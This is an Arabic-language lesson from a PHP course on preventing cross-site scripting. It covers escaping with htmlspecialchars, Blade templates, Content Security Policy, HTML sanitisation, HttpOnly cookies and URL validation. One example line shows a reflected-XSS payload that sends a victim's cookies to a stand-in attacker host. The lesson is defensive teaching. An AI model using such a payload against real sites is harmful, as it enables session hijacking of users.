منع البرمجة النصية عبر المواقع (XSS)
اهربوا المخرجات باستخدام htmlspecialchars وطبّقوا سياسة أمان المحتوى
منع البرمجة النصية عبر المواقع (XSS) درس مجاني في PHP Academy على CoddyKit. هذا هو الدرس 1 من أصل 4. يمكنك قراءة الدرس كاملاً أدناه مجاناً — ثم تمرن عليه مباشرة في المتصفح باستخدام محرر أكواد مدمج ومدرس ذكاء اصطناعي متاح 24/7. هذا الدرس جزء من مسار التعلم في PHP Academy، وتقدمك يتزامن عبر الويب وتطبيق CoddyKit. تتضمن دورة PHP Academy 4 دروس في المجموع.
ما المقصود بـ XSS؟
يحدث البرمجة النصية عبر المواقع (XSS) عندما يحقن المهاجم JavaScript ضارًا في صفحات ويب يشاهدها مستخدمون آخرون. ويعمل النص البرمجي في متصفح الضحية مع إمكانية الوصول إلى جلسته وملفات تعريف الارتباط الخاصة به وDOM.
XSS المنعكس
تكون الحمولة الضارة موجودة في URL أو في معلمة نموذج، ثم يعكسها الخادم في الاستجابة.
// Malicious URL:
https://example.com/search?q=<script>document.location="https://attacker.com/steal?c="+document.cookie</script>XSS المخزن
تُحفظ الحمولة في قاعدة البيانات، مثل تعليق أو حقل ملف شخصي، وتُعرض لجميع الزوار الذين يشاهدون تلك الصفحة.
XSS المستند إلى DOM
تكون الثغرة بالكامل في JavaScript من جهة العميل، الذي يُدرج بيانات غير موثوقة في DOM بطريقة غير آمنة باستخدام innerHTML أو document.write.
htmlspecialchars()
أفلت المخرجات لتحويل أحرف HTML الخاصة إلى كيانات غير ضارة. احرص دائمًا على الإفلات قبل عرض البيانات التي يزوّد بها المستخدم.
<?php
echo htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, "UTF-8");
// Converts: < > " ' & into HTML entitiesالإفلات التلقائي في Blade
تستدعي صيغة {{ }} في Laravel Blade الدالة htmlspecialchars تلقائيًا. استخدم {!! !!} فقط مع HTML موثوق ونقّي.
{{-- Safe: --}}
<h1>{{ $user->name }}</h1>
{{-- Dangerous if $content is untrusted: --}}
<div>{!! $content !!}</div>سياسة أمان المحتوى (CSP)
يوجّه رأس CSP في HTTP المتصفحات إلى تنفيذ النصوص البرمجية من المصادر الموثوقة فقط، ويحظر النصوص البرمجية المضمنة المحقونة حتى إذا وصلت إلى الصفحة.
<?php
$response->headers->set("Content-Security-Policy",
"default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'"
);تنقية مدخلات HTML
إذا كان لا بد من السماح بمدخلات HTML منسقة، مثل محرر WYSIWYG، فنقِّها باستخدام مكتبة قائمة سماح مثل HTML Purifier أو حزمة Laravel mews/purifier.
<?php
// Using HTMLPurifier:
$purifier = new HTMLPurifier();
$cleanHtml = $purifier->purify($dirtyHtml);رأس X-XSS-Protection
أضف الرأس X-XSS-Protection: 1; mode=block لدعم المتصفحات القديمة. تعتمد المتصفحات الحديثة على CSP بدلًا من ذلك.
ملفات تعريف الارتباط HttpOnly
يمنع ضبط علامة HttpOnly على ملفات تعريف ارتباط الجلسة JavaScript من قراءتها، مما يخفف من سرقة الجلسة المستندة إلى XSS حتى إذا حُقن نص برمجي.
التحقق من صحة عناوين URL
لا تُدرج مطلقًا عناوين URL التي يزوّد بها المستخدم في href أو src دون التحقق من صحتها. إذ يمكن لمعرّف URI من نوع javascript: تنفيذ XSS.
<?php
$url = filter_var($input, FILTER_VALIDATE_URL);
if ($url === false || !in_array(parse_url($url, PHP_URL_SCHEME), ["http", "https"])) {
$url = "#"; // fallback
}الملخص
أفلت المخرجات دائمًا باستخدام htmlspecialchars أو {{ }} في Blade. أضف سياسة أمان المحتوى. ونقِّ مدخلات HTML باستخدام مكتبة قائمة سماح. استخدم ملفات تعريف الارتباط HttpOnly.
تحقق سريع
ما دالة PHP التي تحوّل أحرف HTML الخاصة إلى كيانات؟
الأسئلة الشائعة
هل درس «منع البرمجة النصية عبر المواقع (XSS)» مجاني؟
نعم — نص درس «منع البرمجة النصية عبر المواقع (XSS)» كامل متاح مجاناً هنا على الويب. لتمرينه بشكل تفاعلي (محرر أكواد مدمج ومدرس ذكاء اصطناعي متاح 24/7) وفتح باقي دورة PHP Academy، انتقل إلى CoddyKit PRO. تتضمن دورة PHP Academy 4 دروس في المجموع.
ماذا ستتعلم في «منع البرمجة النصية عبر المواقع (XSS)»؟
اهربوا المخرجات باستخدام htmlspecialchars وطبّقوا سياسة أمان المحتوى تتمرن على PHP Academy مع أكواد عملية تشغلها مباشرة في المتصفح، ومدرس ذكاء اصطناعي متاح 24/7 يجيب على أسئلتك أثناء عملك.
هل أحتاج إلى خبرة سابقة لأبدأ PHP Academy؟
لا تُشترط خبرة سابقة. PHP Academy على CoddyKit منظم للمبتدئين حتى المتقدمين، لذا يمكنك البدء من هنا أو من البداية والتقدم بسرعتك الخاصة. هذا هو الدرس 1 من أصل 4.
كم من الوقت يستغرق درس «منع البرمجة النصية عبر المواقع (XSS)»؟
معظم دروس CoddyKit تستغرق حوالي 5–10 دقائق. كل منها موجز وتفاعلي، لذا تحرز تقدماً مستمراً وتستأنف من حيث توقفت عبر الويب والتطبيق.
هل يمكنني كتابة وتشغيل أكواد في درس PHP Academy هذا؟
نعم. كل درس في PHP Academy يتضمن محرر أكواد مدمج، لذا تكتب وتشغل أكواداً حقيقية مباشرة في متصفحك وتحصل على تعليقات فورية من الذكاء الاصطناعي — بدون إعداد محلي.
جميع الدروس في هذه الدورة
- منع البرمجة النصية عبر المواقع (XSS)
- حقن SQL والاستعلامات ذات المعاملات
- الحماية من CSRF
- تخزين كلمات المرور بأمان